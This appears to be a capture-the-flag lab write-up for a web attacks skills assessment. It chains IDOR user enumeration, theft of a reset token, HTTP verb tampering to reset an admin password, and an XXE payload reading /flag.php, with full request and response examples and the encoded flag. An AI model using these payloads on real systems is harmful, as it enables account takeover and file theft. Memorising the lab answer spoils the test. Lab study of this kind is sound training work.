Skills Assessment - Web Attacks

Scenario:
You are performing a web application penetration test for a software development company, and they task you with testing the latest build of their social networking web application. Try to utilize the various techniques you learned in this module to identify and exploit multiple vulnerabilities found in the web application.

The login details are provided in the question below.


TARGET: 154.57.164.81:30686

Authenticate to target with username "htb-student" and password "Academy_student!"

Challenge 1

Try to escalate your privileges and exploit different vulnerabilities to read the flag at '/flag.php'

Discovery

Visiting the target web app we see that it asks us to authenticate:
image-28.png
Since we are given credentials to authenticate with, I will go ahead and input them, then we are log in to what looks like a dashboard:
image-29.png
After logging in, this request was sent:
image-30.png

GET /api.php/user/74 HTTP/1.1
Host: 154.57.164.81:30686
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://154.57.164.81:30686/profile.php
Connection: keep-alive
Cookie: PHPSESSID=co61bko2gek9i9059oa8eelrav; uid=74
Priority: u=4

With response:

HTTP/1.1 200 OK
Date: Tue, 21 Apr 2026 17:33:22 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 90
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

{"uid":"74","username":"htb-student","full_name":"Paolo Perrone","company":"Schaefer Inc"}

This means that if the server only relies on requesting /74 query, it could return another user. This is also known as IDOR. So I will try sending /1 instead of /74 (hoping it points to an admin account) and look if that returns data from another user.

Identifying IDORs

Send the above request to Burp Repeater, and change the path /api.php/user/74 to /api.php/user/1. Similarly change the uid cookie parameter to uid=1. Then send it. The request looks as follows:

GET /api.php/user/1 HTTP/1.1
Host: 154.57.164.81:30686
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://154.57.164.81:30686/profile.php
Connection: keep-alive
Cookie: PHPSESSID=co61bko2gek9i9059oa8eelrav; uid=1
Priority: u=4

Response:

...
{"uid":"1","username":"s.applewhite","full_name":"Samanta Applewhite","company":"Daniel Inc"}

Looking for an admin account

Now that we know IDOR works, lets start looking for an admin account. I will write the following simple bash script that repeats requests to the same endpoint with uid's from 1-00 and looks for the word "admin":

┌──(macc㉿kaliLab)-[~/htb/web_attacks]
└─$ for uid in {1..100}; do curl -s "http://154.57.164.81:30686/api.php/user/$uid"; echo; done | grep -i "admin"

Output:

{"uid":"52","username":"a.corrales","full_name":"Amor Corrales","company":"Administrator"}

Attack vector (password reset function)

Looking back at our authenticated account htb-student, and playing with the dashboard, we see there is a "Change Your Password" function within the Settings tab once logged in.

If I change the password to whatever password (i.e. test) I can capture the request sent:
image-31.png
Request:

POST /reset.php HTTP/1.1
Host: 154.57.164.81:30686
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://154.57.164.81:30686/settings.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Origin: http://154.57.164.81:30686
Connection: keep-alive
Cookie: PHPSESSID=co61bko2gek9i9059oa8eelrav; uid=74
Priority: u=4

uid=74&token=e51a8a14-17ac-11ec-8e67-a3c050fe0c26&password=test

Response:

...
Password changed successfully

However, it's worth noting that this also includes a request to obtain the token:

GET /api.php/token/74 HTTP/1.1
Host: 154.57.164.81:30686
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://154.57.164.81:30686/settings.php
Connection: keep-alive
Cookie: PHPSESSID=co61bko2gek9i9059oa8eelrav; uid=74
Priority: u=4

Response:

...
{"token":"e51a8a14-17ac-11ec-8e67-a3c050fe0c26"}

Assuming IDOR also works for this endpoint, we may be able to proceed to the exploitation phase.

Exploit

Change the admin's account password

We know changing the password for any user requires a token that the user gets when they manually click Submit to change their password.

What if we repeat the above /api.php/token/74 but now with /api.php/token/52 since we know that the admin account's uid is 52? Would we get the token required to change the admin account password?

Send the above /api.php/token/74 request to Burp Repeater and change /api.php/token/74 to /api.php/token/52. Similarly change the uid cookie parameter to uid=52. Then send the request.

Request:

GET /api.php/token/52 HTTP/1.1
Host: 154.57.164.81:30686
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://154.57.164.81:30686/settings.php
Connection: keep-alive
Cookie: PHPSESSID=co61bko2gek9i9059oa8eelrav; uid=52
Priority: u=4

Response:

...
{"token":"e51a85fa-17ac-11ec-8e51-e78234eb7b0c"}

Now we can use this token on the /reset.php request to submit a password change for the admin account. Send the previous request to /reset.php to Burp Repeater and change the uid cookie parameter to uid=52. On the body of the request make sure to change the uid parameter to 52, and to include the token we just got for the admin user.
image-32.png
Request:

POST /reset.php HTTP/1.1
Host: 154.57.164.81:30686
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://154.57.164.81:30686/settings.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Origin: http://154.57.164.81:30686
Connection: keep-alive
Cookie: PHPSESSID=co61bko2gek9i9059oa8eelrav; uid=52
Priority: u=4

uid=52&token=e51a85fa-17ac-11ec-8e51-e78234eb7b0c&password=test

Unfortunately we get:

...
Access Denied

But, since in this module we learned about HTTP Verb Tampering, I will try changing the above POST request to a GET request:
image-33.png
Request:

GET /reset.php?uid=52&token=e51a85fa-17ac-11ec-8e51-e78234eb7b0c&password=test HTTP/1.1
Host: 154.57.164.81:30686
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://154.57.164.81:30686/settings.php
Content-Type: application/x-www-form-urlencoded
Origin: http://154.57.164.81:30686
Connection: keep-alive
Cookie: PHPSESSID=co61bko2gek9i9059oa8eelrav; uid=52
Priority: u=4
Content-Length: 63

Response:

...
Password changed successfully

Vulnerability in 'Add Event'

Now we can use the credentials a.corrales:test to log in and see if the admin's dashboard looks different:
image-34.png

I will go ahead an click Add Event to see what actions we can perform:
image-37.png

When we click Submit to create a new event, the following request gets send:
image-38.png
Request to /addEvent.php (body):

            <root>
            <name>test</name>
            <details>test</details>
            <date>2026-04-21</date>
            </root>

Response:

...
Event 'test' has been created.

Perform Local File Disclosure to get the flag

We know that the request to /addEvent.php involves sending XML code in its body. We can exploit this to read the flag file from the server. To do this we need to construct a DTD (Document Type Definition) entity that asks for a PHP file resource and displays it on the response without breaking by conflicting with XML format.

The following DTD will allow us to import the /flag.php file and later display its base64 encoded string as an entity dereferenced by the 'name' field:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.php">
]>

The final payload including this DTD will look as follows:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.php" >
]>
<root>
<name>&xxe;</name>
</root>

Now all we have to do is to send the /addEvent.php request to Burp Repeater and change the whole body to be our payload, so the final request will look as follows:

POST /addEvent.php HTTP/1.1
Host: 154.57.164.81:30686
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://154.57.164.81:30686/event.php
Content-Type: text/plain;charset=UTF-8
Content-Length: 154
Origin: http://154.57.164.81:30686
Connection: keep-alive
Cookie: PHPSESSID=co61bko2gek9i9059oa8eelrav; uid=52
Priority: u=4

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/flag.php" >
]>
<root>
<name>&xxe;</name>
</root>

Response:

...
Event 'PD9waHAgJGZsYWcgPSAiSFRCe200NTczcl93M2JfNDc3NGNrM3J9IjsgPz4K' has been created.

We can easily decode it right there in Burp by opening Inspector and selecting the full encoded string in the response:
image-39.png

flag: HTB